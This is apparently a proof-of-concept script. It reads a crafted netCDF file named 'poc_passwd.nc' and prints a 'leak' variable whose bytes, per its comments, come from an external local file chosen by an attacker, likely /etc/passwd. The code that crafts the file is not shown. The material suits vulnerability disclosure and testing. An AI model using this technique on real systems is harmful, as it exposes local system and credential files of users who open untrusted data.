| import sys, netCDF4 | |
| # Open the malicious .nc the normal way and read the `leak` variable. | |
| # Its bytes come from the external file the attacker pointed at. | |
| path = sys.argv[1] if len(sys.argv) > 1 else "poc_passwd.nc" | |
| ds = netCDF4.Dataset(path, "r") | |
| raw = ds.variables["leak"][:] | |
| data = bytes(raw.tobytes()) | |
| print("=== leaked bytes from %s ===" % path) | |
| print(data.decode("utf-8", "replace")) | |
| ds.close() | |